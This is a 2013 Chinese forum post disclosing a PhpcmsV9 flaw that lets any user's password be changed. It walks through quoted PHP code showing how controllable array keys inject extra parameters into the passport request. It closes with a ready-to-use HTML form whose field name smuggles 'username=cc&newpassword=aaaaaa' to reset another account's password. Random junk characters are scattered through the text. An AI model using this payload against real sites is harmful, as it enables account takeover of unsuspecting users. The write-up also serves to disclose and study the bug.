找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1789|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:5 p# t9 B& \; z' m9 P

, n  U" y/ H  v9 F2 S$ K0 Q% k; M% z( v# G
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);1 ]" h. K: d8 ~* `  b5 O9 ?1 a
( f% m7 R2 _$ i6 \2 o* o- f7 Y
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。$ s( s3 r* A9 H, e. L# w
, ?) T& ]) G$ W2 V# A
我把它留给了你们。
! M! p% Y1 l6 a, n0 k' x8 c不知道你们发现了它没有。( X7 r6 Z, V* F6 w" J9 p' _

2 V" \4 S0 S: W0 X1 F我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
: A; ^5 b. T; T! T$ ^# L
3 M8 u; M. Q0 l8 U9 n9 k( Q& h所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。1 B& q0 V1 S0 l. N# b/ Y; F
; F) \2 m4 r. ^7 Q# l2 L. T1 F- U
也就是8 h* L7 S  Y: ?3 [& z) }) Q% E
/ H! j8 k- U3 g; {
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
; T1 C% D6 j! g8 h  P% T' ~, r' a; ?/ k5 f" _( Q
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。0 m7 j1 {0 K2 c2 \  U% s, n
& M- O+ Z/ A! A9 ]' P
, H! d8 S2 V3 o) z7 h) ^
其实我们有这样的机会,看看代码,如下:
  Y- H/ _/ S7 {" D' }% \# e- X
( s- _1 w4 i) f
$ K" \; I6 u: t2 V$ A6 h/ F6 hpublic function auth_data($data) {
. g9 Y& A! A* R                $s = $sep = '';  s  ]( \& z5 p+ n9 s. k% Z
                foreach($data as $k => $v) {* Q2 L$ _: X2 R9 g4 D4 j
                        if(is_array($v)) {, d6 U$ `2 N0 P0 i/ M7 L5 N
                                $s2 = $sep2 = '';
: ]  o! ?6 [+ [* S6 Q                                foreach($v as $k2 => $v2) {
; f6 b3 I; ~* Q' k3 C% e                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);; \) Z4 c) A2 ~. ^& y0 D
                                        $sep2 = '&';
) o+ j  e  `. c  ?% E/ @                                }: n# e: z  r" h" C9 [% S
                                $s .= $sep.$s2;' T0 H2 P* t  {
                        } else {9 E. A- f; n# T
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
8 B' _% `; k$ N$ c8 D8 B                        }
8 b; t0 h- [9 X" m7 t9 a! F                        $sep = '&';
, D; y# i9 [7 A5 r& Z* `                }
+ L0 i$ l% z- |, K9 ?# W$ Q
9 Q$ H7 [6 n& O3 g3 O) L, Z                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
& H# L5 c1 l2 ]$ ~5 N                return $auth_s;# l; \; {( C' }- y) h' F+ }- R
        }3 f+ o6 M1 N5 w! Y

0 ^  `# `6 D; R( b( n+ D" ]可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
# n" K  F% ], Y+ Z; A, o* y- r
+ x* D6 B# ]  e' `" g$ P! P7 h3 J6 s# \举个例子7 {; ]6 Y  f' x# o( E3 T# P
2 O% C9 d4 i% \- w
$a[aaa=a&bbb] = 'a';; U" E8 r/ Q" |* I$ Z

4 q; g! Y/ t$ M; C9 w! Y' L6 B会变成aaa=a&bbb=a, B% s- V) A( e+ Z" a' c6 i. u
) a" B9 Y) ?  o9 i
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
3 E( h: i  V2 M! [, L
! ^$ x+ w' U5 ~这个时候,我们可以再去看一个函数。
, [$ \/ l; g% }4 k3 d
6 t3 s0 x, D: S就在这个文件内:
) J- K& x4 c7 c" a/ m0 C$ }
  ?! b) P$ R0 c( @) b; \/ t$ @3 e5 q' O
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {$ J- \/ u7 Y$ i# B
                if($email && !$this->_is_email($email)) {
6 v- r5 m: {4 E7 i% E6 J; g                        return -4;0 h& `" q& d( @3 p
                }
  q9 p3 N: a: R- ^* B                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
( g2 M% E7 P7 f8 f0 V. P& E        }' Q9 e3 V: I! w; H

& B  g; W. C+ v. `" P5 K& P这是向通行证发了这样一个请求。
1 C) f9 C) L4 v" Z- P# L! {/ X5 h4 B) R9 A6 g6 X$ f
我们再跟到通信证代码里去看看,就会有所发现。2 \) B  x8 y1 A; ~* u  |8 L2 }( Z

+ l6 d& U* A) O* p9 W
, Z8 |; t, k& c8 B5 v# _, Cpublic function edit() {+ \- ]8 `0 ?" D
//能省就省,太长了不是吗?0 s7 q& B3 k, Y  o+ g6 {. l4 X
, b- Y/ v. C8 `0 G9 c/ l% G1 w
if($this->username) {' F6 t( i* }; X" @  M6 T/ r* c
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。+ T6 I* T6 |0 J7 n6 R6 C
                                $res = $this->db->update($data, array('username'=>$this->username));
2 R$ |# [* P7 @' z! c/ i; B0 m- A: [                        } else {
8 K9 I3 P+ B$ a( Z$ o( r7 D% J                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);0 |: u" N  A* R9 ~6 n; D
                                $res = $this->db->update($data, array('uid'=>$this->uid));
6 u7 I+ E' K! H5 E* a                        }) X7 A2 S/ x) l% O6 j: X
4 J3 A0 c- l! {( V# o
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
$ t5 ~2 n5 O3 c: B% G' m; H; I, q8 B  ^) V3 r
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')# X; B7 N/ V% K$ K( h# r) e
9 t5 _' ^! w, t* l+ d8 n" e5 L
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
0 T& R) r" J+ e4 B* L
: [+ S6 j, B7 {' u7 e5 Z; k& K我当然找到了:- g0 j6 g# p- [& v. P2 g+ Q
phpcms9/phpcms/modules/member/index.php
* q4 N! U5 ?- B8 i; j
0 O  q8 J3 n& R8 b5 R$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);; Z( X* ]. `+ r7 i
, f% ~) q# `+ G; }0 b( Q# d
然后就没有然后了。
, O4 R% M/ \1 `) g) ]
& a- Q4 p9 [7 }, q<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">3 b# B( @! b; Z, r( G) L
                                <table width="100%" cellspacing="0" class="table_form">
6 L8 {# z4 x% j% b% B                                        <tr>
1 }/ Z. X. Q, }" X% B4 W                                                <th width="80">邮箱:</th>        + X2 |* [. B' R& u
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
* v/ A# C; z! X0 g                                        </tr>' ~: C, H. M# q; k
                                        <tr>
4 Z: p6 i4 P, `/ g                                                <th width="80">原密码:</th>        
& j1 Q% z$ R7 M! ~3 x                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>2 S# e% {( O8 r$ Y9 Y, f
                                        </tr>2 v" Z) ~4 F) g
                                        <tr>1 c, N* P. A# e+ `7 y% H0 C# i3 y
                                                <th>新密码:</th>
( z; f- j- n6 Y" g! J6 ~8 p$ B5 p                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>) j" B8 S2 {, r2 E
                                        </tr>" ~/ }0 `" y) r% s  n( n
                                        <th></th>
2 r7 I+ T  T7 U6 u4 m# s                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
: p+ a0 d0 w: [: e. G5 J/ E                                        </tr>
7 ]$ j2 Q  M: E                                </table>, s1 J1 [1 y- m! v3 l4 W. C2 q6 R
# J" u+ I7 Q8 \: c( w8 X
                               
/ K* ^! o) Y. J) K( V2 r7 e                        </form>
1 S% o5 b: D. S" C4 u+ S5 d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表